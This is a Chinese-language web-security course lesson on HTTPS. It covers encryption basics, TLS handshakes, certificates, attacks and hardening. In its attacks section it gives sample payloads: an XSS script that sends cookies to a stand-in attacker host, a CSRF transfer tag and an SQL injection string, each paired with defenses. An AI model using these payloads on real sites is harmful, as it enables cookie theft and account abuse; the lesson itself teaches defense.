第20天:HTTPS和安全
今日目标
- 理解HTTPS的工作原理
- 掌握对称加密和非对称加密
- 学习TLS/SSL协议
- 了解数字证书和CA
- 理解HTTPS握手过程
- 学习常见Web安全攻击和防御
- 实现简单的HTTPS服务器
1. 为什么需要HTTPS?
1.1 HTTP的安全问题
HTTP是明文传输:
问题场景:
你在咖啡厅使用公共WiFi登录网站
输入用户名:alice
输入密码:mypassword123
HTTP传输:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json
{"username":"alice","password":"mypassword123"}
危险:
❌ 任何人都可以截获这个数据包
❌ 密码被明文看到
❌ 可以被篡改
❌ 无法验证服务器身份
HTTP的三大安全威胁:
1. 窃听(Eavesdropping)
- 攻击者截获数据包
- 读取敏感信息
- 密码、信用卡号等
2. 篡改(Tampering)
- 中间人修改数据
- 注入恶意代码
- 篡改交易金额
3. 冒充(Impersonation)
- 伪装成合法服务器
- 钓鱼攻击
- 盗取用户信息
1.2 HTTPS的解决方案
HTTPS = HTTP + TLS/SSL:
HTTPS的三大保证:
1. 机密性(Confidentiality)
✅ 加密传输
✅ 无法窃听
2. 完整性(Integrity)
✅ 防止篡改
✅ 数据验证
3. 身份认证(Authentication)
✅ 验证服务器身份
✅ 防止冒充
实现方式:
- 对称加密:加密数据
- 非对称加密:交换密钥
- 数字证书:验证身份
- 消息摘要:验证完整性
2. 加密基础
2.1 对称加密
概念:
对称加密 = 加密和解密使用相同的密钥
生活类比:
保险箱:
- 一把钥匙
- 用它锁门
- 用它开门
Alice → Bob:
1. Alice有密钥K
2. Alice用K加密消息
3. Bob用K解密消息
4. 前提:Alice和Bob都知道K
常见算法:
AES(Advanced Encryption Standard)
- 最常用
- 速度快
- 安全性高
- 密钥长度:128/192/256位
DES(Data Encryption Standard)
- 已被淘汰
- 密钥太短(56位)
- 不安全
3DES(Triple DES)
- DES的加强版
- 使用三次DES
- 逐渐被AES取代
ChaCha20
- 移动设备友好
- Google推荐
- 速度快
工作模式:
ECB(Electronic Codebook)
- 最简单
- 不安全(相同明文→相同密文)
- 不推荐
CBC(Cipher Block Chaining)
- 常用
- 每个块依赖前一个块
- 需要初始向量(IV)
GCM(Galois/Counter Mode)
- 推荐
- 认证加密
- TLS 1.3使用
对称加密的问题:
密钥分发问题:
Alice想和Bob通信:
1. Alice生成密钥K
2. 如何安全地把K传给Bob?
- 网络传输?不安全,会被截获
- 线下交换?不现实
多人通信问题:
n个人两两通信
需要 n×(n-1)/2 个密钥
100个人 → 4950个密钥 ❌
2.2 非对称加密
概念:
非对称加密 = 公钥加密,私钥解密
密钥对:
- 公钥(Public Key):公开的,任何人都可以用
- 私钥(Private Key):私密的,只有自己知道
关系:
- 公钥加密 → 私钥解密
- 私钥加密 → 公钥解密
生活类比:
邮箱:
- 邮箱口(公钥):任何人都能投信
- 邮箱钥匙(私钥):只有主人能取信
RSA算法:
RSA(Rivest-Shamir-Adleman)
密钥生成:
1. 选择两个大质数 p 和 q
2. 计算 n = p × q
3. 计算 φ(n) = (p-1) × (q-1)
4. 选择 e(公钥指数),通常是 65537
5. 计算 d(私钥指数),满足 e×d ≡ 1 (mod φ(n))
公钥:(n, e)
私钥:(n, d)
加密:c = m^e mod n
解密:m = c^d mod n
密钥长度:
- 1024位(不再安全)
- 2048位(当前推荐)
- 4096位(更安全,但慢)
使用场景:
1. 数字签名
- 私钥签名
- 公钥验证
- 证明身份
2. 密钥交换
- 用公钥加密对称密钥
- 私钥解密得到对称密钥
- 后续使用对称加密通信
3. 数字证书
- CA用私钥签名证书
- 浏览器用公钥验证
非对称加密的问题:
速度慢:
- 比对称加密慢100-1000倍
- 不适合加密大量数据
解决方案(混合加密):
1. 非对称加密:交换对称密钥(只用一次)
2. 对称加密:加密实际数据(快速)
2.3 哈希函数
概念:
哈希函数 = 单向函数,不可逆
特点:
- 任意长度输入 → 固定长度输出
- 相同输入 → 相同输出
- 不同输入 → 几乎不可能相同输出
- 无法从输出推导输入(单向)
用途:
- 验证数据完整性
- 密码存储
- 数字签名
常见算法:
MD5(Message Digest 5)
- 128位(16字节)
- 已被破解
- 不再安全
- 只用于非安全场景(文件校验)
SHA-1(Secure Hash Algorithm 1)
- 160位(20字节)
- 已被破解
- Google已弃用
SHA-2家族
- SHA-224、SHA-256、SHA-384、SHA-512
- 推荐使用SHA-256
- 安全
SHA-3
- 最新标准
- 更安全
- 尚未广泛使用
示例:
输入:Hello World
SHA-256:a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e
2.4 数字签名
原理:
数字签名 = 证明消息来自特定发送者
步骤:
1. Alice计算消息的哈希值
2. Alice用私钥加密哈希值(签名)
3. Alice发送:消息 + 签名
验证:
1. Bob收到:消息 + 签名
2. Bob用Alice的公钥解密签名,得到哈希值H1
3. Bob计算消息的哈希值H2
4. 比较H1和H2
- 相同:签名有效
- 不同:被篡改或伪造
作用:
✅ 身份认证:确认发送者
✅ 完整性:消息未被篡改
✅ 不可否认:发送者无法否认
3. TLS/SSL协议
3.1 SSL vs TLS
历史:
SSL(Secure Sockets Layer)
- 1994: SSL 1.0(未发布)
- 1995: SSL 2.0(有严重漏洞)
- 1996: SSL 3.0
TLS(Transport Layer Security)
- 1999: TLS 1.0(基于SSL 3.0)
- 2006: TLS 1.1
- 2008: TLS 1.2(当前主流)
- 2018: TLS 1.3(最新)
关系:
TLS是SSL的升级版
习惯上仍称为SSL
但实际上都是TLS
版本对比:
┌──────────┬──────────┬──────────┬──────────┐
│ 版本 │ 状态 │ 安全性 │ 性能 │
├──────────┼──────────┼──────────┼──────────┤
│ SSL 2.0 │ 禁用 │ 低 │ 差 │
│ SSL 3.0 │ 禁用 │ 低 │ 差 │
│ TLS 1.0 │ 弃用 │ 中 │ 中 │
│ TLS 1.1 │ 弃用 │ 中 │ 中 │
│ TLS 1.2 │ 推荐 │ 高 │ 中 │
│ TLS 1.3 │ 最新 │ 最高 │ 高 │
└──────────┴──────────┴──────────┴──────────┘
推荐:
只使用TLS 1.2和TLS 1.3
禁用所有SSL和旧版TLS
3.2 TLS协议栈
分层结构:
┌─────────────────────────────────┐
│ 应用层(HTTP等) │
├─────────────────────────────────┤
│ TLS Handshake Protocol │ 握手协议
├─────────────────────────────────┤
│ TLS Change Cipher Spec │ 切换密码协议
├─────────────────────────────────┤
│ TLS Alert Protocol │ 警报协议
├─────────────────────────────────┤
│ TLS Record Protocol │ 记录协议
├─────────────────────────────────┤
│ TCP │
└─────────────────────────────────┘
记录协议(Record Protocol):
- 分段、压缩、加密、认证
- 传输加密数据
握手协议(Handshake Protocol):
- 协商加密算法
- 交换密钥
- 验证身份
4. HTTPS握手过程
4.1 TLS 1.2 握手(RSA)
完整流程:
客户端 服务器
1. ClientHello
───────────────────────────────>
- 支持的TLS版本
- 支持的加密套件
- 随机数(Client Random)
2. ServerHello
<───────────────────────────────
- 选择的TLS版本
- 选择的加密套件
- 随机数(Server Random)
3. Certificate(证书)
<───────────────────────────────
- 服务器的数字证书
- 包含公钥
4. ServerHelloDone
<───────────────────────────────
5. 验证证书
- 检查证书有效性
- 验证CA签名
- 检查域名匹配
6. ClientKeyExchange
───────────────────────────────>
- 生成预主密钥(Pre-Master Secret)
- 用服务器公钥加密
- 发送给服务器
7. 双方计算
客户端和服务器都计算:
主密钥(Master Secret)= PRF(
Pre-Master Secret,
Client Random,
Server Random
)
8. ChangeCipherSpec
───────────────────────────────>
- 通知:后续使用加密通信
9. Finished(加密)
───────────────────────────────>
- 加密的握手消息摘要
10. ChangeCipherSpec
<───────────────────────────────
11. Finished(加密)
<───────────────────────────────
12. 应用数据(加密)
<══════════════════════════════>
握手完成!
RTT(往返时间):2-RTT
密钥推导:
材料:
- Client Random(客户端随机数)
- Server Random(服务器随机数)
- Pre-Master Secret(预主密钥,48字节)
计算:
Master Secret = PRF(
Pre-Master Secret,
"master secret",
Client Random + Server Random
)
从Master Secret派生:
- 客户端加密密钥
- 服务器加密密钥
- 客户端MAC密钥
- 服务器MAC密钥
- 客户端IV
- 服务器IV
4.2 TLS 1.3 握手(优化)
改进:
TLS 1.3的优化:
1. 1-RTT握手
- TLS 1.2:2-RTT
- TLS 1.3:1-RTT
- 更快!
2. 0-RTT恢复
- 会话恢复
- 直接发送数据
- 最快!
3. 简化密码套件
- 移除不安全算法
- 只保留AEAD
- 更安全!
流程:
客户端 服务器
1. ClientHello + KeyShare
───────────────────────────>
- 支持的加密套件
- 密钥交换参数(猜测)
- 随机数
2. ServerHello + KeyShare
+ Certificate
+ Finished
<───────────────────────────
- 选择的加密套件
- 密钥交换参数
- 证书
- 完成
3. Finished
───────────────────────────>
4. 应用数据(加密)
<═══════════════════════════>
握手完成!
RTT:1-RTT(快一倍)
5. 数字证书
5.1 什么是数字证书?
证书 = 服务器的身份证:
数字证书包含:
- 域名(example.com)
- 公钥
- 证书颁发机构(CA)
- 有效期
- CA的数字签名
作用:
证明"这个公钥确实属于example.com"
生活类比:
身份证:
- 照片
- 姓名
- 身份证号
- 公安局盖章
数字证书:
- 公钥
- 域名
- 序列号
- CA签名
5.2 CA(证书颁发机构)
信任链:
证书信任链:
根CA(Root CA)
└─ 中间CA(Intermediate CA)
└─ 网站证书(End-entity Certificate)
示例:
DigiCert Root CA
└─ DigiCert SHA2 Secure Server CA
└─ example.com
验证过程:
1. 浏览器收到example.com证书
2. 验证example.com证书的签名(用中间CA公钥)
3. 验证中间CA证书的签名(用根CA公钥)
4. 检查根CA是否在信任列表中
根CA:
- 预装在操作系统/浏览器中
- 数量有限(约200个)
- 高度可信
著名CA:
商业CA:
- DigiCert
- GlobalSign
- GoDaddy
- Comodo(现在叫Sectigo)
免费CA:
- Let's Encrypt(最流行)
- ZeroSSL
- Cloudflare
自签名证书:
- 自己给自己签名
- 不被信任
- 只用于测试
5.3 证书类型
按验证级别:
1. DV(Domain Validation)
- 域名验证
- 最基础
- 验证:拥有域名控制权
- 用途:个人网站、博客
- 价格:免费/便宜
2. OV(Organization Validation)
- 组织验证
- 中等
- 验证:域名 + 组织真实性
- 用途:企业网站
- 价格:中等
3. EV(Extended Validation)
- 扩展验证
- 最高级
- 验证:严格的组织审查
- 显示:绿色地址栏(旧版浏览器)
- 用途:银行、电商
- 价格:昂贵
按覆盖范围:
1. 单域名证书
example.com ✅
www.example.com ❌
2. 通配符证书
example.com ✅
www.example.com ✅
api.example.com ✅
*.example.com ✅
3. 多域名证书(SAN)
example.com ✅
example.net ✅
example.org ✅
5.4 证书格式
PEM(Privacy Enhanced Mail)
- 最常用
- Base64编码
- 文本格式
- 扩展名:.pem, .crt, .cer, .key
示例:
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRbSjMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
...
-----END CERTIFICATE-----
DER(Distinguished Encoding Rules)
- 二进制格式
- 扩展名:.der, .cer
PKCS#12 / PFX
- 包含证书和私钥
- 有密码保护
- 扩展名:.p12, .pfx
- 用于导入/导出
证书链文件:
- 包含多个证书
- 从网站证书到根CA
- fullchain.pem
6. 常见Web安全攻击
6.1 中间人攻击(MITM)
攻击场景:
正常通信:
客户端 ←───────────→ 服务器
中间人攻击:
客户端 ←─→ 攻击者 ←─→ 服务器
(冒充)
攻击步骤:
1. 客户端请求连接服务器
2. 攻击者截获请求
3. 攻击者连接服务器
4. 攻击者冒充服务器与客户端通信
5. 攻击者窃听/篡改数据
防御:
✅ 使用HTTPS
✅ 验证证书
✅ 证书固定(Certificate Pinning)
✅ HSTS(强制HTTPS)
6.2 SSL剥离攻击
攻击原理:
将HTTPS降级为HTTP
攻击步骤:
1. 用户访问 http://bank.com
2. 服务器重定向 https://bank.com
3. 攻击者截获重定向
4. 攻击者与服务器建立HTTPS连接
5. 攻击者与客户端使用HTTP通信
6. 客户端以为在用HTTPS(其实是HTTP)
防御:
✅ HSTS(强制HTTPS,不允许降级)
✅ 不使用HTTP版本
✅ 浏览器直接输入https://
6.3 证书欺诈
攻击方式:
- 自签名证书
- 伪造证书
- 过期证书
防御:
✅ 浏览器证书验证
✅ 证书透明度(CT)
✅ 公钥固定
✅ 警惕证书警告
6.4 其他攻击
XSS(跨站脚本攻击):
原理:
注入恶意JavaScript代码
示例:
<script>
// 盗取Cookie
document.location='http://attacker.com/?c='+document.cookie;
</script>
防御:
✅ 输入验证和过滤
✅ 输出编码
✅ Content-Security-Policy
✅ HttpOnly Cookie
CSRF(跨站请求伪造):
原理:
利用用户已登录状态,发起恶意请求
攻击:
<img src="http://bank.com/transfer?to=attacker&amount=1000">
防御:
✅ CSRF Token
✅ SameSite Cookie
✅ 验证Referer
✅ 二次确认
SQL注入:
原理:
注入SQL代码
示例:
用户名:' OR '1'='1
SQL:SELECT * FROM users WHERE username='' OR '1'='1'
结果:返回所有用户
防御:
✅ 参数化查询
✅ ORM框架
✅ 输入验证
✅ 最小权限
7. HTTPS最佳实践
7.1 服务器配置
1. 只使用TLS 1.2和TLS 1.3
ssl_protocols TLSv1.2 TLSv1.3;
2. 选择强加密套件
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:...';
ssl_prefer_server_ciphers on;
3. 启用HSTS
Strict-Transport-Security: max-age=31536000; includeSubDomains
4. 启用OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
5. 配置会话缓存
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
6. 使用证书链
ssl_certificate /path/to/fullchain.pem;
ssl_certificate_key /path/to/privkey.pem;
7.2 安全头部
1. Strict-Transport-Security(HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
强制使用HTTPS
2. Content-Security-Policy(CSP)
Content-Security-Policy: default-src 'self'
防止XSS攻击
3. X-Content-Type-Options
X-Content-Type-Options: nosniff
防止MIME类型嗅探
4. X-Frame-Options
X-Frame-Options: DENY
防止点击劫持
5. X-XSS-Protection
X-XSS-Protection: 1; mode=block
防止XSS攻击
6. Referrer-Policy
Referrer-Policy: no-referrer-when-downgrade
控制Referer信息
7.3 证书管理
1. 自动续期
- 使用Let's Encrypt + Certbot
- 设置定时任务
- 避免证书过期
2. 证书监控
- 监控证书有效期
- 提前30天告警
- 自动化流程
3. 多域名管理
- 使用通配符证书
- 或SAN证书
- 统一管理
4. 证书透明度
- 提交证书到CT日志
- 监控证书颁发
8. 实战项目:HTTPS服务器
8.1 项目需求
功能需求:
1. 生成自签名证书
2. 实现HTTPS服务器
3. 实现HTTPS客户端
4. 验证证书
5. 加密通信
技术要求:
- 使用Python ssl模块
- 支持TLS 1.2+
- 证书验证
- 安全配置
8.2 工具演示
# 1. 生成自签名证书
python day20_cert_generator.py
# 2. 启动HTTPS服务器
python day20_https_server.py --host 0.0.0.0 --port 8443
# 3. 测试HTTPS客户端
python day20_https_client.py --url https://127.0.0.1:8443/
9. 今日练习
练习1:证书分析
# 查看证书信息
openssl x509 -in cert.pem -text -noout
# 验证证书
openssl verify -CAfile ca.pem cert.pem
# 查看网站证书
openssl s_client -connect www.baidu.com:443 -showcerts
练习2:抓包分析
# 使用Wireshark抓包
# 1. 分析TLS握手过程
# 2. 查看证书交换
# 3. 观察加密数据
# 使用tcpdump
sudo tcpdump -i any -w https.pcap port 443
练习3:配置HTTPS
# 为第19天的HTTP服务器添加HTTPS支持
# 1. 生成证书
# 2. 配置SSL
# 3. 测试HTTPS连接
练习4:安全测试
# 使用SSL Labs测试网站安全性
# https://www.ssllabs.com/ssltest/
# 检查项目:
# - 证书有效性
# - 协议支持
# - 加密套件
# - 安全漏洞
10. 常见问题
Q1:HTTPS会影响性能吗?
A:
- 有一定影响,但可以接受
- TLS 1.3大幅优化
- 使用HTTP/2可以提升性能
- CDN可以分担负载
Q2:自签名证书和CA签名证书有什么区别?
A:
- 自签名:自己签名,不被信任
- CA签名:权威机构签名,被信任
- 自签名只用于测试
- 生产环境必须用CA证书
Q3:Let’s Encrypt是否安全?
A:
- 完全安全
- 免费但不降低安全性
- 只是自动化了流程
- 被主流浏览器信任
Q4:HTTPS一定安全吗?
A:
- 不一定
- HTTPS只保证传输安全
- 服务器本身可能不安全
- 钓鱼网站也可以有HTTPS
Q5:HTTP/2必须用HTTPS吗?
A:
- 标准上不强制
- 但所有浏览器都只支持HTTPS版本
- 实际上必须用HTTPS
11. 总结
今天我们学习了:
核心知识点
HTTPS基础:
- HTTP + TLS/SSL
- 解决窃听、篡改、冒充
加密技术:
- 对称加密:AES
- 非对称加密:RSA
- 哈希函数:SHA-256
- 数字签名:身份认证
TLS协议:
- TLS 1.2:2-RTT握手
- TLS 1.3:1-RTT握手
- 协商、认证、加密
数字证书:
- 服务器身份证明
- CA签名
- 信任链
安全攻击:
- MITM:中间人攻击
- SSL剥离
- XSS、CSRF、SQL注入
最佳实践:
- 只用TLS 1.2+
- 强加密套件
- HSTS
- 安全头部
重点回顾
HTTPS工作原理:
1. 客户端发起连接(ClientHello)
2. 服务器返回证书(Certificate)
3. 客户端验证证书
4. 密钥交换(KeyExchange)
5. 切换到加密通信
6. 传输加密数据
混合加密:
非对称加密(RSA)→ 交换密钥
对称加密(AES)→ 加密数据
证书验证:
检查有效期 → 验证CA签名 → 检查域名 → 检查吊销状态
明天预告
第21天:第三周总结与实战
内容预览:
- 本周知识回顾
- 综合实战项目
- 性能优化技巧
- 调试和排错
- 工具和资源推荐
继续加油! 🚀
今天我们学习了HTTPS和Web安全,这是现代互联网的基础。理解HTTPS的工作原理对于开发安全的Web应用至关重要。明天我们将进行第三周的总结,并完成一个综合实战项目!